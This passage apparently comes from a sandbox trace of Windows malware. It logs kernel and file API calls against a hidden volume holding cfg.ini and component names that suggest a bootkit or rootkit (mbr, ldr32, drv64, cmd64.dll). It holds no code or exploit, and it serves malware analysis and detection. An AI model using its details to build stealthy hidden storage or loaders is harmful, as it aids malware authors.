FastMutex=0xfffffa80027d3898) [0120.260] KeLeaveCriticalRegion () [0120.260] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.260] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.260] KeEnterCriticalRegion () [0120.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.260] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.260] KeLeaveCriticalRegion () [0120.260] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.260] KeEnterCriticalRegion () [0120.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.260] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.260] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc740, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.260] KeLeaveCriticalRegion () [0120.260] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.260] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.260] KeEnterCriticalRegion () [0120.260] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.260] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.260] KeLeaveCriticalRegion () [0120.260] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.260] ReleaseMutex (hMutex=0xf0) returned 1 [0120.260] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.260] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.260] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.261] KeEnterCriticalRegion () [0120.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.261] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.261] IdePortDispatch () returned 0x103 [0120.261] KeWaitForMutexObject () returned 0x0 [0120.261] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.261] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.261] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.261] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.261] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.261] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd620 [0120.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.261] KeLeaveCriticalRegion () [0120.261] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.261] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.261] KeEnterCriticalRegion () [0120.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.261] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.261] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.261] KeLeaveCriticalRegion () [0120.261] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.261] KeEnterCriticalRegion () [0120.261] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.261] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.261] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.261] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.261] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.261] IdePortDispatch () returned 0x103 [0120.261] KeWaitForMutexObject () returned 0x0 [0120.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.262] KeLeaveCriticalRegion () [0120.262] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.262] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.262] KeEnterCriticalRegion () [0120.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003425000 [0120.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.262] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.262] IdePortDispatch () returned 0x103 [0120.262] KeWaitForMutexObject () returned 0x0 [0120.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.262] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.262] IdePortDispatch () returned 0x103 [0120.262] KeWaitForMutexObject () returned 0x0 [0120.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.262] KeLeaveCriticalRegion () [0120.262] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.263] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.263] KeEnterCriticalRegion () [0120.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.263] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.263] KeLeaveCriticalRegion () [0120.263] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.263] KeEnterCriticalRegion () [0120.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.263] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.263] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.263] KeLeaveCriticalRegion () [0120.263] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.263] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.263] KeEnterCriticalRegion () [0120.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.263] ExFreePoolWithTag (P=0xfffffa8003bcd620, Tag=0x0) [0120.263] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.263] KeLeaveCriticalRegion () [0120.263] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.263] ReleaseMutex (hMutex=0xf0) returned 1 [0120.263] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.263] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.263] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.263] KeEnterCriticalRegion () [0120.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.263] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.263] IdePortDispatch () returned 0x103 [0120.263] KeWaitForMutexObject () returned 0x0 [0120.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.264] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.264] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.264] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.264] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.264] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2940 [0120.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.264] KeLeaveCriticalRegion () [0120.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.264] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.264] KeEnterCriticalRegion () [0120.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.264] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.264] KeLeaveCriticalRegion () [0120.264] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.264] KeEnterCriticalRegion () [0120.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.264] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.264] IdePortDispatch () returned 0x103 [0120.264] KeWaitForMutexObject () returned 0x0 [0120.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.264] KeLeaveCriticalRegion () [0120.264] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.264] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.264] KeEnterCriticalRegion () [0120.265] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.265] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003426000 [0120.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.265] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.265] IdePortDispatch () returned 0x103 [0120.265] KeWaitForMutexObject () returned 0x0 [0120.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.265] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.265] IdePortDispatch () returned 0x103 [0120.265] KeWaitForMutexObject () returned 0x0 [0120.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.265] KeLeaveCriticalRegion () [0120.265] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.266] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.266] KeEnterCriticalRegion () [0120.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.266] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.266] KeLeaveCriticalRegion () [0120.266] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.266] KeEnterCriticalRegion () [0120.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.266] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.266] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.266] KeLeaveCriticalRegion () [0120.266] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.266] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.266] KeEnterCriticalRegion () [0120.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.266] ExFreePoolWithTag (P=0xfffffa8003bc2940, Tag=0x0) [0120.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.266] KeLeaveCriticalRegion () [0120.266] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.266] ReleaseMutex (hMutex=0xf0) returned 1 [0120.266] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.266] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.266] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.266] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.266] KeEnterCriticalRegion () [0120.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.266] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.266] IdePortDispatch () returned 0x103 [0120.266] KeWaitForMutexObject () returned 0x0 [0120.266] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.266] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.266] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.266] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.267] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.267] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.267] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.267] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.267] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.267] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.267] KeLeaveCriticalRegion () [0120.267] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.267] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.267] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.267] KeEnterCriticalRegion () [0120.267] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.267] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.267] IdePortDispatch () returned 0x103 [0120.267] KeWaitForMutexObject () returned 0x0 [0120.267] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.267] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.267] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.267] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.267] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.267] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.267] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.267] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.267] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.267] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.267] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.273] KeLeaveCriticalRegion () [0120.273] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.273] ReleaseMutex (hMutex=0x100) returned 1 [0120.273] Sleep (dwMilliseconds=0x2bf20) [0120.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ae2c110, dwHighDateTime=0x1d24fa4)) [0120.280] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.280] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.280] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.280] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.280] KeEnterCriticalRegion () [0120.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.280] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.280] IdePortDispatch () returned 0x103 [0120.280] KeWaitForMutexObject () returned 0x0 [0120.281] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.281] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.281] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.281] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.281] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.281] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbccb0 [0120.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.281] KeLeaveCriticalRegion () [0120.281] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.281] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.281] KeEnterCriticalRegion () [0120.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.281] KeLeaveCriticalRegion () [0120.282] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 